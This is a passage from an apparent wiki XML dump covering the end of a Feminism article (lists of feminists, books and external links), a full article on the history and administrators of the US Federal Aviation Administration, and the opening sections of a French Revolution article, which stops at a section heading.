* [[Emily Murphy]] - Writer, Magistrate, one of the &quot;Famous Five&quot; 
* [[Judith Newton]] Professor of English
* [[Camille Paglia]] Intellectual
* [[Emmeline Pankhurst]]
* [[Sylvia Pankhurst]]
* [[Irene Parlby]]
* [[Alice Paul]]
* [[Judith Plaskow]] - Jewish theologian
* [[Janice Raymond]] - Writer
* [[Rayna Rapp Reiter]] - Anthropologist
* [[Audre Lorde]] - Poet, essayist, activist
* [[Adrienne Rich]] - Poet and essayist
* [[Gayle Rubin]] - Anthropologist
* [[Margaret Sanger]] - Birth control advocate and sex educator
* [[Alice Schwarzer]] - Writer
* [[Joan Wallach Scott]] - Historian
* [[Eve Kosofsky Sedgwick]] - Professor of English
* [[Barbara Smith]] - Black lesbian feminist and activist
* [[Cindy Sherman]] - Artist/photographer
* [[Dorothy Smith]] - Sociologist
* [[Kiki Smith]] - Artist/sculptor
* [[Valerie Solanas]] - Author of the [[SCUM Manifesto]]
* [[Gayatri Chakravorty Spivak]] - Professor of English
* [[Judith Stacey]] - Sociologist
* [[Zaib-un-nissa Hamidullah]] - Writer, poetess and journalist.
* [[Elizabeth Cady Stanton]]
* [[Carolyn Kay Steedman]] - Professor of Arts Education
* [[Gloria Steinem]] - Journalist and publisher
* [[Trinh T. Minh-ha]] - Writer, filmmaker, composer
* [[Sojourner Truth]]
* [[Alice Walker]] - Novelist
* [[Monique Wittig]] - Novelist and critic
* [[Virginia Woolf]] - Writer
* [[Mary Wollstonecraft]] - Writer
* [[Sylvia Yanagisako]] - Anthropologist
* [[Iris Marion Young]] - Philosopher
* [[Mitsuye Yamada]] - Writer, Poet, Activist
* [[Melissa Farley]] - Writer, Activst, Research and Clinical Psychologist


&lt;p&gt;&lt;/p&gt;
|}

==See also==
&lt;p&gt;&lt;/p&gt;
{| style=&quot;background-color: transparent; width: {{{width|100%}}}&quot;
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| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
*[[Anarcha-feminism]]
*[[Anti-racist math]]
*[[Domestic violence]]
*[[Equal pay for women]]
*[[Female roles in the world wars]]
*[[Feminazi]]
*[[Feminist history in the United States]]
*[[Feminist history in the United Kingdom]]
*[[Feminist history in Latin America]]
*[[Gendercide]]
*[[Gender studies]] 
*[[Gender-neutral language]]
*[[History of feminism]]
*[[Igbo Women's War of 1929]]
*[[International Day to Eliminate Violence Against Women]]
*[[Iranian Women]]
*[[Islamic feminism]]
*[[Lesbian feminism]]


&lt;p&gt;&lt;/p&gt;
| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
*[[List of feminism topics]]
*[[List of notable feminists]]
*[[Marriage strike]]
*[[Masculism]]
*[[Misogyny]]
*[[Misandry]]
*[[Post-structuralism]]
*[[Radical feminism]]
*[[Rape]]
*[[Revolutionary Association of the Women of Afghanistan|RAWA]]
*[[Role of women in Judaism]]
*[[Sex in advertising]]
*[[Sisterhood is Powerful]]
*[[Testosterone poisoning]]
*[[Trafficking in human beings]]
*[[Women's Cinema]]
&lt;p&gt;&lt;/p&gt;
|}

==Books==
*Antrobus, Peggy. ''The global women's movement - Origins, issues and strategies'', London, Zed Books 2004
*Berk, Sarah Fenstermaker, ed. ''Women and Household Labor'', Sage 1980.
*Bradley, Martha Sonntag. ''[http://www.signaturebooks.com/excerpts/pedestals.htm Pedestals and Podiums: Utah Women, Religious Authority, and Equal Rights]'', Salt Lake City, Signature Books 2005
*[[Judith Butler|Butler, Judith]] (1994). &quot;Feminism in Any Other Name&quot;, ''differences'' 6:2-3: 44-45.
*[[Phyllis Chesler|Chesler, Phyllis]] ''Woman's Inhumanity to Woman'', Thunder's Mouth, 2002.
*[[Kate Chopin|Chopin, Kate]]. ''The Awakening''. 1899.
*Code, Lorraine, ed., ''Encyclopedia of feminist theories'', Routledge 2000 
* Echols, Alice. ''Daring to Be Bad: Radical Feminism in America, 1967-1975'', University of Minnesota Press 1990
* Faludi, Susan. &quot;Backlash: The Undeclared War Against American Women&quot;. 1992 (ISBN 0385425074)
* Farrell, Warren. ''Why Men Earn More'' 2005 (ISBN 0-8144-7210-9) 
* Fillion, Kate, ''Lip Service: The Truth About Women's Darker Side in Love, Sex, and Friendship'', Harper Collins 1997.]
*French, Marilyn. ''Beyond Power''; ''War Against Women''; ''From Eve to Dawn'', a 3-volume history of women
* Hochschild, Arlie Russell. ''The Second Shift'' 1990 (ISBN 0380711575)
* Hochschild, Arlie Russell. ''The Time Bind: When Work Becomes Home and Home Becomes Work'' 1997 (ISBN 0805044701)
* Jacobson, Joyce P. ''The Economics of Gender'' 1998. (ISBN 0631207260) 
* Kaminer, Wendy. ''A Fearful Freedom: Women's Flight from Equality'', Addison Wesley 1990 (ISBN 0201092344)
* Kampwirth, Karen. ''Feminism and the Legacy of Revolution: Nicaragua, El Salvador, Chiapas'', Ohio UP 2004 
* [[Gerda Lerner | Lerner, Gerda]]. ''The Creation of Feminist Consciousness: From the Middle Ages to Eighteen-Seventy'', Oxford University Press 1994
* Luker, Kristin. ''Dubious Conceptions: The Politics of the Teenage Pregnancy Crisis''. (Harvard University Press, 1996) (ISBN 0674217039)
* [[Margaret Mead|Mead, Margaret]]. ''Sex and Temperament in Three Primitive Societies'' (1935)
* [[Camille Paglia|Paglia, Camille]] ''Vamps and Tramps: New Essays'', Vintage 1994.
* Pearson, Patricia, ''When She Was Bad: How Women Get Away with Murder, A Controversial Look at Female Aggression'', Virago Press, 1998.
* Schneir, Miriam. ''Feminism : The Essential Historical Writings '', New York: Vintage 1994
* Silverman, Kaja. ''Male Subjectivity at the Margins'', p.2-3. New York: Routledge 1992
* Sommers, Christina Hoff. ''Who Stole Feminism? - How women have betrayed women'' (1996)
* Tavris, Carol. ''The Mismeasure of Woman: Why Women Are Not the Better Sex, the Opposite Sex, or the Inferior Sex''.  Simon and Schuster, 1992. ISBN 0671662740
* Thomas, Calvin. (ed.) &quot;Introduction: Identification, Appropriation, Proliferation&quot;, ''Straight with a Twist: Queer Theory and the Subject of Heterosexuality'', p.39n. University of Illinois Press (2000)
* Wertheim, Margaret. ''Pythagoras' Trousers - God, Physics, and the Gender Wars'',   W.W. Norton &amp; Co. (1995, 1997)

==External links==
{{wikiquote}}
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===Feminist organizations===
*[http://www.ansarburney.org/ Ansar Burney Trust]
*[http://www.awpsych.org/ Association for Women in Psychology]
*[http://www.ALF.org The Association of Libertarian Feminists]
*[http://www.cawinfo.org/ Committee for Asian Women]
*[http://www.feministinitiative.bc.ca/ FemINist INitiative of BC]
*[http://feminist.org Feminist Majority]
*[http://feministsforlife.org Feminists for Life] - Anti-abortion group in the United States.
*[http://naral.org NARAL Pro-Choice America] 
*[http://now.org NOW] - National Organization for Women in the United States
*[http://ppfa.org Planned Parenthood Federation of America]
*[http://www.wluml.org/english/ Women living under muslim laws]

===Supportive of feminism===
*[http://www.amynelson.co.uk/womenswiki Women's Wiki] Women's Wiki Organization
*[http://www.asian-nation.org/gender.shtml Asian-Nation: Asian American Feminism &amp; Gender Issues]
*[http://www.wifp.org/DWM/DirectoryWomensMedia.html Directory of Women's Media]
*[http://www.iinet.net.au/~rabbit/femsup.htm Feminist support pages (Australia)]
*[http://www.womenorganizingwomen.com/wgs3150/index.html Don't Be Scared By Feminist Theory]
*[http://www.egs.edu/faculty/donnaharaway.html Donna Haraway - Bibliography]
*[http://www.fnsa.org/ Feminism &amp; Nonviolence Studies]
*[http://www.susanbrownmiller.com Susan Brownmiller.com: Where Feminism Lives]
*[http://www.egs.edu/faculty/judithbutler.html Judith Butler - Bibliography]
*[http://www.synaptic.bc.ca/ejournal/wolf.html Naomi Wolf - Resources]
*[http://www.fembio.org/default.shtml FemBio - Notable Women International]
*[http://www.synaptic.bc.ca/ejournal/faludi.html Susan Faludi - Resources]
*[http://personalispolitical.tripod.com/ The Personal Is Political]
*[http://www.yourquotations.net/Feminism.html Famous Quotes on Feminism]
*[http://www.ladywiki.org/cgi-bin/wiki.pl/LadyWiki LadyWiki - open site for discussion &amp; exchange]
*[http://www.ericdigests.org/2002-1/women.html The Seneca Falls Convention: Teaching about the Rights of Women and the Heritage of the Declaration of Independence]
*[http://www.library.arizona.edu/branches/spc/treadwell/ The Sophie Treadwell Collection]
*Stanford Encyclopedia of Philosophy
** [http://plato.stanford.edu/entries/feminism-approaches/ Approaches to Feminism]
** [http://plato.stanford.edu/entries/femapproach-analytic/ Feminism and Analytic Philosophy]
** [http://plato.stanford.edu/entries/femapproach-pragmatism/ Pragmatism and Feminism]
** [http://plato.stanford.edu/entries/feminism-topics/ Topics in Feminism]
*[http://www.che-lives.com/home/modules.php?name=News&amp;file=article&amp;sid=191 Smash Patriarchy, Smash the State]
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===Critical of feminism===
*[http://www.pariwariksuraksha.org Feminism-indian society] 
*[[Camille Paglia]] 
*[http://www.bullyonline.org/related/family.htm Bullying in the Family (UK National Workplace Bullying Website)]
*[http://Mensactivism.org/ Men's Activism News Network]
*[http://www.shethinks.org/ Independent Women's Forum] 
*[http://www.ladiesagainstfeminism.com Ladies Against Feminism]
*[http://www.savethemales.ca/ SaveTheMale.com by Henry Makow Ph.D.]
*[http://www.cblpolicyinstitute.org/ Clare Boothe Luce Policy Institute]
*[http://www.nvsh.nl/points/issuesFeminism.htm NVSH] ([[Dutch Society for Sexual Reform|NVSH]])
*[http://www.debunker.com/patriarchy.html The Domain of Patriarchy]
*[http://www.users.bigpond.com/sarcasmo/femo.html Against feminist sexism: A balanced view of male and female power]
*[http://jkalb.org/book/view/2 Turnabout: Sex and Gender]
*[http://www.equityfeminism.com Equity feminism]
*[http://www.ejfi.org/DV/dv.htm Equal Justice Foundation: Domestic Violence]
*[http://www.eagleforum.org Eagle Forum]
*[http://www.debunker.com/texts/noblelie.html The Noble Lie]
*[http://www.ukmm.org.uk/issues/masc.htm The Masculist Perspective: Response to Feminist Claims]
*[http://www.cooltools4men.com Freedom, Independence &amp; Power for Men]
*[http://www.angryharry.com Angry Harry]
*[http://www.saveindianfamily.org Save Indian Family]

===Feminism and religion===
* [http://www.irfi.org/articles/articles_101_150/religious_conservatism.htm Riffat Hasan on ''Religious conservatism: Feminist theology as a means of combating injustice towards women in muslim communities/culture'']
*[http://www.jwa.org/feminism Jewish Women and the Feminist Revolution] from the Jewish Women's Archive
*[http://www.liberalislam.net/women.html Islam from Patriarchy to Feminism]
*[http://www.averroes-foundation.org/articles/free_and_equal.html Free and Equal under the Qur'an] - an analysis by Havva G Guney-Ruebenacker
*[http://www.heartless-bitches.com/rants/doublestandards.shtml Double Standards] - A woman's point of view

===History of feminism===
*[http://gerritsen.chadwyck.com/ The Gerritsen Collection - Women's History Online, 1543-1945]
*[http://www.jwa.org/feminism/ Jewish Women and the Feminist Revolution] from the Jewish Women's Archive
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[[Category:Feminism|*]]
[[Category:Issue in the Culture Wars]]

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  <page>
    <title>Federal Aviation Administration</title>
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      <text xml:space="preserve">[[Image:Federal Aviation Administration logo.png|200px|thumb|right| ]]
{{redirect|FAA}}
The '''Federal Aviation Administration''' ('''FAA''') is the entity of the [[United States]] government which regulates and oversees all aspects of civil [[aviation]] in the U.S.

==Activities==
Along with the European [[Joint Aviation Authorities]], the FAA is one of the two main agencies worldwide responsible for the certification of new aircraft.

The FAA issues a number of [[awards]] to holders of its licenses.  Among these are demonstrated proficiencies as a mechanic, an instructor, a 50-year aviator, or as a safe pilot.  The latter, the FAA &quot;Wings Program&quot;, provides a series of ten badges for pilots who have undergone several hours of training since their last award.  A higher level can be claimed each year.  For more information see &quot;FAA Advisory Circular 61-91H&quot;.

==History==
The Air Commerce Act of May 20, 1926, is the cornerstone of the Federal Government's regulation of civil aviation. This landmark legislation was passed at the urging of the aviation industry, whose leaders believed the airplane could not reach its full commercial potential without federal action to improve and maintain safety standards. The Act charged the Secretary of Commerce with fostering air commerce, issuing and enforcing air traffic rules, licensing pilots, certificating aircraft, establishing airways, and operating and maintaining aids to air navigation. A new Aeronautics Branch of the Department of Commerce assumed primary responsibility for aviation oversight.

In fulfilling its civil aviation responsibilities, the Department of Commerce initially concentrated on such functions as safety rulemaking and the certification of pilots and aircraft. It took over the building and operation of the Nation's system of lighted airways, a task that had been begun by the Post Office Department. The Department of Commerce improved aeronautical radio communications and introduced radio beacons as an effective aid to air navigation.

The Aeronautics Branch was renamed the Bureau of Air Commerce in 1934 to reflect its enhanced status within the Department. As commercial flying increased, the Bureau encouraged a group of airlines to establish the first three centers for providing air traffic control (ATC) along the airways. In 1936, the Bureau itself took over the centers and began to expand the ATC system. The pioneer air traffic controllers used maps, blackboards, and mental calculations to ensure the safe separation of aircraft traveling along designated routes between cities.

In 1938, the Civil Aeronautics Act transferred the federal civil aviation responsibilities from the Commerce Department to a new independent agency, the Civil Aeronautics Authority. The legislation also expanded the government's role by giving them the authority and the power to regulate airline fares and to determine the routes that air carriers would serve.

President Franklin Roosevelt split the authority into two agencies in 1940, the Civil Aeronautics Administration (CAA) and the Civil Aeronautics Board (CAB). CAA was responsible for ATC, airman and aircraft certification, safety enforcement, and airway development. CAB was entrusted with safety rulemaking, accident investigation, and economic regulation of the airlines. Both organizations were part of the Department of Commerce. Unlike CAA, however, CAB functioned independently of the Secretary.

On the eve of America's entry into World War II, CAA began to extend its ATC responsibilities to takeoff and landing operations at airports. This expanded role eventually became permanent after the war. The application of radar to ATC helped controllers in their drive to keep abreast of the postwar boom in commercial air transportation. In 1946, meanwhile, Congress gave CAA the added task of administering the federal-aid airport program, the first peacetime program of financial assistance aimed exclusively at promoting development of the nation's civil airports.

The approaching era of jet travel, and a series of midair collisions, prompted passage of the Federal Aviation Act of 1958. This legislation gave the CAA's functions to a new independent body, the Federal Aviation Agency. The act transferred air safety rulemaking from the CAB to the new FAA, and also gave the FAA sole responsibility for a common civil-military system of air navigation and air traffic control. The FAA's first administrator, Elwood R. Quesada, was a former Air Force general and advisor to President Eisenhower.

The same year witnessed the birth of the National Aeronautics and Space Administration (NASA), created in the wake of the Soviet launching of the first artificial satellite. NASA assumed NACA's role of aeronautical research while achieving world leadership in space technology and exploration.

In 1967, a new U.S. Department of Transportation (DOT) combined major federal responsibilities for air and surface transport. FAA's name changed to the Federal Aviation Administration as it became one of several agencies within DOT. At the same time, a new National Transportation Safety Board took over the CAB's role of investigating aviation accidents.

The FAA gradually assumed additional functions. The hijacking epidemic of the 1960s had already brought the agency into the field of civil aviation security, a responsibility now primarily taken by the Department of Homeland Security. The FAA became more involved with the environmental aspects of aviation in 1968 when it received the power to set aircraft noise standards. Legislation in 1970 gave the agency management of a new airport aid program and certain added responsibilities for airport safety. During the 1960s and 1970s the FAA also started to regulate high altitude (over 500 feet) kite and balloon flying.

By the mid-1970s, the FAA had achieved a semi-automated air traffic control system using both radar and computer technology. This system required enhancement to keep pace with air traffic growth, however, especially after the Airline Deregulation Act of 1978 phased out the CAB's economic regulation of the airlines. A nationwide strike by the air traffic controllers union in 1981 forced temporary flight restrictions but failed to shut down the airspace system. During the following year, the agency unveiled a new plan for further automating its air traffic control facilities, but progress proved disappointing. In 1994, the FAA shifted to a more step-by-step approach that has provided controllers with advanced equipment.

In the 1990s, satellite technology received increased emphasis in the FAA's development programs as a means to improvements in communications, navigation, and airspace management. In 1995, the agency assumed responsibility for safety oversight of commercial space transportation, a function begun eleven years before by an office within DOT headquarters.

==List of FAA Administrators==

* [[Elwood R. Quesada]] (1958-1961)
* [[Najeeb Halaby]] (1961-1965)
* [[William F. McKee]] (1965-1968)
* [[John H. Schaffer]] (1969-1973)
* [[Alexander Butterfield]] (1973-1975)
* [[John L. McLucas]] (1975-1977)
* [[Langhorne M. Bond]] (1977-1981)
* [[J. Lynn Helms]] (1981-1984)
* [[Donald D. Engen]] (1984-1987)
* [[T. Allen McArtor]] (1987-1989)
* [[James B. Busey]] (1989-1991)
* [[Thomas C. Richards]] (1992-1993)
* [[David R. Hinson]] (1993-1996)
* [[Jane Garvey]] (1997-2002)
* [[Marion Blakey]] (2002-Present)

== See also ==
* [[Federal Aviation Regulations]]
* [[Air traffic control]]
* [[Aircraft registration]]
* [[Free flight (air traffic control)]]
* [[Transportation Security Administration]]
* [[Federal Air Marshal]]
* [[Small Aircraft Transportation System]]

== External links ==

* http://www.faa.gov/
* [http://www.famaonline.com Federal Air Marshal Association]

[[Category:Federal Aviation Administration]]
[[Category:Aviation authorities]]
[[Category:United States Department of Transportation]]
[[Category:Aviation in the United States]]

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    <title>French Revolution</title>
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{{French Revolution}}
The '''French Revolution''' ([[1789]]-[[1799]]) was a period in the history of [[France]]. During this time, [[republicanism]] replaced the [[absolute monarchy]] in France, and the French sector of the [[Roman Catholic Church]] was forced to undergo radical restructuring. While France would oscillate among republic, empire, and monarchy for 75 years after the [[French First Republic|First Republic]] fell to a ''[[coup d'état]]'' by [[Napoleon I of France|Napoleon Bonaparte]], the revolution nonetheless spelled a definitive end to the ''[[Ancien Régime]]''. It eclipses the subsequent revolutions of [[July Revolution|1830]] and [[The Revolutions of 1848 in France|1848]] in the popular imagination. It is widely seen as a major turning point in continental European history, from the age of [[political absolutism|absolutism]] to that of the [[citizenship|citizenry]], and even of the masses, as the dominant political force.

== Causes ==
{{main|Causes of the French Revolution}}

A number of factors led to the revolution.  To some extent, the old order succumbed to its own rigidity in the face of a changing world.  To some extent, it fell to the ambitions of a rising [[bourgeoisie]], allied with aggrieved peasants, wage-earners, and individuals of all classes who had come under the influence of the ideas of [[the Enlightenment]]. As the revolution proceeded, and as power devolved from the monarchy to legislative bodies, the conflicting interests of these initially allied groups would become the source of conflict and bloodshed.

Causes of the French Revolution include the following:
* A bad economic situation, as well as an unmanageable national [[debt]], were both caused and exacerbated by the burden of a grossly inequitable system of [[tax|taxation]] and [[France]]'s funding of the [[American Revolution]].
* A resentment of royal [[political absolutism|absolutism]].
* An aspiration for liberty and republicanism
* A resentment of [[Manorialism]] (seigneurialism) by peasants, wage-earners, and, to a lesser extent, the bourgeoisie
* The rise of [[the Enlightenment|enlightenment]] ideals.
* [[Food]] scarcity in the months immediately before the revolution.
* High [[unemployment]] and high bread prices resulting in the inability to purchase food.
* A resentment of noble privilege and dominance in public life by the ambitious professional classes.
* A resentment of religious intolerance.
* The failure of Louis XVI to deal effectively with these phenomena.

== Proto-Revolutionary Activity ==
{{main|Proto-Revolutionary Activity to the French Revolution}}

[[Image:Taking of the Bastille.jpg|right|350px|thumb|The storming of the Bastille, July 14 1789]]
Proto-revolutionary activity started when the French king [[Louis XVI of France|Louis XVI]] (reigned [[1774]]-[[1792]]) faced a crisis in the royal finances. The French crown, which fiscally equated the French state, owed considerable debt. During the régimes of [[Louis XV of France | Louis XV]] (ruled [[1715]]-[[1774]]) and Louis XVI, several different ministers, including [[Anne Robert Jacques Turgot, Baron de Laune|Turgot]] (Controller-General of Finances [[1774]]-[[1776]]), and [[Jacques Necker]] (Director-General of Finances [[1777]]-[[1781]]), unsuccessfully proposed to revise the French tax system to a more uniform system. Such measures encountered consistent resistance from the ''[[parlement]]s'' (law courts), dominated by the &quot;Robe Nobility&quot;, which saw themselves as the nation's guardians against despotism, as well as from court factions, and both ministers were ultimately dismissed. [[Charles Alexandre de Calonne]], who became Controller-General of the Finances in [[1783]], pursued a strategy of conspicuous spending as a means of convincing potential creditors of the confidence and stability of France's finances.

However, Calonne, having conducted a lengthy review of France's financial situation, determined that it was not sustainable, and proposed a uniform [[land tax]] as a means of setting France's finances in order in the long term. In the short-term, he hoped that a show of support from a hand-picked Assembly of Notables would restore confidence in French finances, and allow further borrowing until the land tax began to make up the difference and allow the beginning of repayment of the debt.

Although Calonne convinced the king of the necessity of his reforms, the Assembly of Notables refused to endorse his measures, insisting that only a truly representative body, preferably the [[French States-General|Estates-General]] of the Kingdom, could approve new taxes. The King, seeing that Calonne himself was now a liability, dismissed him and replaced him with [[Étienne Charles de Loménie de Brienne]], the Archbishop of Toulouse, who had been a leader of the opposition in the Assembly. Brienne now adopted a thorough-going reform position, granting various civil rights (including freedom of worship to Protestants), and promising the convocation of the Estates-General within five years, but also attempted in the meantime to go ahead with Calonne's plans. When the measures were opposed in the ''Parlement'' of Paris (due in part to the King's tactlessness), Brienne went on the attack, attempting to disband the parlements entirely and collect the new taxes in spite of them. This led to massive resistance across many parts of France, including the famous &quot;Day of the Tiles&quot; in [[Grenoble]]. Even more importantly, the chaos across France convinced the short-term creditors on whom the French treasury depended to maintain its day-to-day operations to withdraw their loans, leading to a near-default, which forced Louis and Brienne to surrender.

The king agreed on [[August 8]], [[1788]] to convene the Estates-General in May [[1789]], for the first time since [[1614]]. Brienne resigned on [[August 25]], [[1788]], and Necker again took charge of the nation's finances. He used his position not to propose new reforms, but only to prepare for the meeting of the nation's representatives.

== History ==
=== The Estates-General of 1789 ===
''For a more detailed description of the events of [[August 8]] [[1788]]&amp;ndash;[[June 17]] [[1789]], see [[Estates-General of 1789]]''

The calling of the Estates-General led to growing concern on the part of the opposition that the government would attempt to [[gerrymander]] an assembly to its liking. In order to avoid this, the ''Parlement'' of Paris, having returned in triumph to the city, proclaimed that the Estates-General would have to meet according to the forms observed at its last meeting. Although it would appear that the magistrates were not specifically aware of the &quot;forms of 1614&quot; when they made this decision, this provoked an uproar. The [[1614]] Estates had consisted of equal numbers of representatives of each estate, and voting had been by order, with the [[First Estate]] (the clergy), the [[Second Estate]] (the nobility), and the [[Third Estate]] (everybody else) each receiving one vote.

Almost immediately the &quot;Committee of Thirty&quot;, a body of liberal Parisians, began to agitate against this, arguing for a doubling of the Third Estate and voting by head (as had already been done in various provincial assemblies). Necker, speaking for the government, conceded further that the third estate should be doubled, but the question of voting by head was left for the meeting of the Estates themselves.  However, the resentments brought forward by the dispute remained powerful, and pamphlets, like [[Abbé Sieyès|Abbé Sieyès's]] ''What is the Third Estate?'' which argued that the privileged orders were parasites and the Third Estate was the nation itself, kept these resentments alive.

When the Estates-General convened in [[Versailles]] on [[May 5]] [[1789]], lengthy speeches by Necker and Lamoignon, the keeper of the seals, did little to give guidance to the deputies, who were remanded to separate meeting places to credential their members. The question of whether voting was ultimately to be by head or by order was again put aside for the moment, but the Third Estate now demanded that credentialing itself should take place as a group. Negotiations with the other estates to achieve this, however, were unsuccessful, as a bare majority of the clergy and a large majority of the nobility continued to support voting by order.

=== The National Assembly ===
[[Image:TennisCourtOath.jpg|thumb|right|Sketch by [[Jacques-Louis David]] of the National Assembly making the Tennis Court Oath]]

''For a more detailed description of the events of [[June 17]] [[1789]]&amp;ndash;[[July 9]] [[1789]], see [[National Assembly (French Revolution)|National Assembly]]''

On [[May 28]] 1789, the Abbé [[Emmanuel Joseph Sieyès|Sieyès]] moved that the [[Third Estate]], now meeting as the ''Communes'' (English: &quot;Commons&quot;), proceed with verification of its own powers and invite the other two estates to take part, but not to wait for them. They proceeded to do so, completing the process on [[June 17]]. Then they voted a measure far more radical, declaring themselves the [[National Assembly (French Revolution)|National Assembly]], an assembly not of the Estates but of &quot;the People&quot;. They invited the other orders to join them, but made it clear they intended to conduct the nation's affairs with or without them.

[[Louis XVI]] shut the Salle des États where the Assembly met. The Assembly moved their deliberations to the king's tennis court, where they proceeded to swear the [[Tennis Court Oath]] ([[June 20]], 1789), under which they agreed not to separate until they had given France a [[constitution]]. A majority of the representatives of the clergy soon joined them, as did forty-seven members of the nobility. By [[June 27]] the royal party had overtly given in, although the military began to arrive in large numbers around [[Paris]] and [[Versailles]]. Messages of support for the Assembly poured in from Paris and other French cities. On [[July 9]], the Assembly reconstituted itself as the [[National Constituent Assembly]].

=== The National Constituent Assembly ===
[[Image:Eugène Delacroix - La liberté guidant le peuple.jpg|right|thumb|''[[Liberty Leading the People]]'']]

==== The Storming of the Bastille ====
''For a more detailed discussion, see [[Storming of the Bastille]]''

On [[July 11]] 1789, King Louis, acting under the influence of the conservative nobles of his [[privy council]], as well as his wife, [[Marie Antoinette]], and brother, the [[Charles X of France|Comte d'Artois]], banished the reformist minister Necker and completely reconstructed the ministry. Much of Paris, presuming this to be the start of a royal coup, moved into open rebellion. Some of the military joined the mob; others remained neutral.

On [[July 14]] 1789, after four hours of combat, the insurgents seized the [[Bastille]] [[prison]], killing the governor, Marquis [[Bernard de Launay]], and several of his guards. Although the Parisians released only seven prisoners; four forgers, two lunatics, and a dangerous sexual offender, the Bastille served as a potent symbol of everything hated under the ''[[ancien régime]]''. Returning to the [[Hôtel de Ville, Paris|Hôtel de Ville]] (city hall), the mob accused the ''[[Provost (civil)|prévôt]] des marchands'' (roughly, mayor) [[Jacques de Flesselles]] of treachery; his assassination took place ''en route'' to an ostensible trial at the [[Palais Royal]].

The king and his military supporters backed down, at least for the time being. [[Marquis de la Fayette|Lafayette]] took up command of the National Guard at Paris.  [[Jean-Sylvain Bailly]], president of the National Assembly at the time of the [[Tennis Court Oath]], became the city's mayor under a new governmental structure known as the ''commune''. The king visited Paris, where, on [[July 27]], he accepted a [[tricolore]] [[cockade]], as cries of ''vive la Nation'' &quot;Long live the Nation&quot; changed to ''vive le Roi'' &quot;Long live the King&quot;.

Nonetheless, after this violence, nobles, little assured by the apparent and, as it proved, temporary reconciliation of king and people, started to flee the country as ''[[émigré]]s'', some of whom began plotting civil war within the kingdom and agitating for a European coalition against France.

Necker, recalled to power, experienced but a short-lived triumph. An astute financier but a less astute politician, he overplayed his hand by demanding and obtaining a general amnesty, losing much of the people's favour in his moment of apparent triumph.

By late July insurrection and the spirit of [[popular sovereignty]] spread throughout France. In rural areas, many went beyond this: some burned title-deeds and no small number of [[chateau|châteaux]], as part of a general agrarian insurrection known as &quot;la Grande Peur&quot; (the [[Great Fear]]).  In addition, plotting and agitation by the ''[[émigré]]s'' led to wild rumours and paranoia (particularly in the rural areas) that caused widespred unrest and civil disturbances and contributed to the [[Great Fear]] (Hibbert at 93).

==== The Abolition of Feudalism ====

''For a more detailed discussion, see [[French Revolution from the abolition of feudalism to the Civil Constitution of the Clergy#The Abolition of Feudalism|The Abolition of Feudalism]].''

On [[August 4]], 1789, the National Assembly abolished [[feudalism]], sweeping away both the seigneurial rights of the Second Estate and the [[tithe]]s gathered by the First Estate. In the course of a few hours, nobles, clergy, towns, provinces, companies, and cities lost their special privileges. 

While there would follow retreats, regrets, and much argument over the ''rachat au denier 30'' (&quot;redemption at a thirty-years' purchase&quot;) specified in the legislation of [[August 4]], the course now remained set, although the full process would take another four years.

==== Dechristianisation ====
''For a more detailed discussion, see [[Dechristianisation of France during the French Revolution]].''

The revolution brought about a massive shifting of powers from the [[Roman Catholic Church]] to the state. Although, under the ''ancien régime'', the Church had been the largest landowner in the country, legislation enacted in [[1790]] abolished the Church's authority to levy a [[tax]] on crops known as the ''[[tithe|dîme]]'', cancelled special privileges for the clergy, and confiscated Church property.  [[Civil Constitution of the Clergy|Subsequent legislation]] attempted to subordinate the clergy to the state, making them state employees. The ensuing years saw violent repression of the clergy, including the imprisonment and massacre of [[priest]]s throughout France. The [[Concordat of 1801]] between Napoleon and the Church ended the dechristianisation period and established the rules for a relationship between the Catholic Church and the French State that lasted until it was abrogated by the [[French Third Republic|Third Republic]] via the [[separation of church and state]] on [[December 11]], [[1905]].

==== The Appearance of Factions ====
''For a more detailed discussion, please see [[National Constituent Assembly]].''

Factions within the Assembly began to become clearer. The [[aristocracy|aristocrat]] [[Jacques Antoine Marie Cazalès]] and the abbé [[Jean-Sifrein Maury]] led what would become known as the [[right-wing politics|right wing]], the opposition to revolution. The &quot;Royalist democrats&quot; or ''monarchiens'', allied with Necker, inclined toward organising France along lines similar to the [[Constitution of the United Kingdom|British constitution]]al model: they included [[Jean Joseph Mounier]], the [[Comte de Lally-Tollendal]], the [[Comte de Clermont-Tonnerre]], and [[Pierre Victor Malouet]], Comte de Virieu.

The &quot;National Party&quot;, representing the centre or centre-left of the assembly, included [[Honoré Mirabeau]], Lafayette, and Bailly; while [[Adrien Duport]], [[Antoine Pierre Joseph Marie Barnave|Barnave]] and [[Alexander Lameth]] represented somewhat more extreme views. Almost alone in his radicalism on the left was the [[Arras]] lawyer [[Maximilien Robespierre]].

The abbé [[Emmanuel Joseph Sieyès|Sieyès]] led in proposing legislation in this period and successfully forged consensus for some time between the political centre and the [[left-wing politics|left]].

In Paris, various committees, the mayor, the assembly of representatives, and the individual districts each claimed authority independent of the others. The increasingly middle-class [[National Guard (France)|National Guard]] under Lafayette also slowly emerged as a power in its own right, as did other self-generated assemblies.

Looking to the [[United States Declaration of Independence]] for a model, on [[August 26]], 1789, the Assembly published the [[Declaration of the Rights of Man and of the Citizen]]. Like the U.S. Declaration, it comprised a statement of principles rather than a [[constitution]] with legal effect.

==== Toward a Constitution ====
''For a more detailed discussion, see [[French Revolution from the abolition of feudalism to the Civil Constitution of the Clergy#Toward a Constitution|Toward a Constitution]].''

The National Constituent Assembly functioned not only as a [[legislature]], but also as a body to draft a new constitution.

Necker, Mounier, Lally-Tollendal and others argued unsuccessfully for a [[senate]], with members appointed by the crown on the nomination of the people. The bulk of the nobles argued for an aristocratic [[upper house]] elected by the nobles. The popular party carried the day: France would have a single, unicameral assembly. The king retained only a &quot;suspensive veto&quot;: he could delay the implementation of a law, but not block it absolutely. 

The people of Paris thwarted Royalist efforts to block this new order: they marched on Versailles on [[October 5]] 1789. After various scuffles and incidents, the king and the royal family allowed themselves to be brought back from Versailles to Paris.

The Assembly replaced the historic [[Provinces of France|provinces]] with eighty-three ''[[département in France|département]]s'', uniformly administered and approximately equal to one another in extent and population.

Originally summoned to deal with a financial crisis, to date the Assembly had focused on other matters and only worsened the deficit. Mirabeau now led the move to address this matter, with the Assembly giving Necker complete financial dictatorship.

==== Toward the Civil Constitution of the Clergy ====
''For a more detailed discussion, see [[Civil Constitution of the Clergy]].''

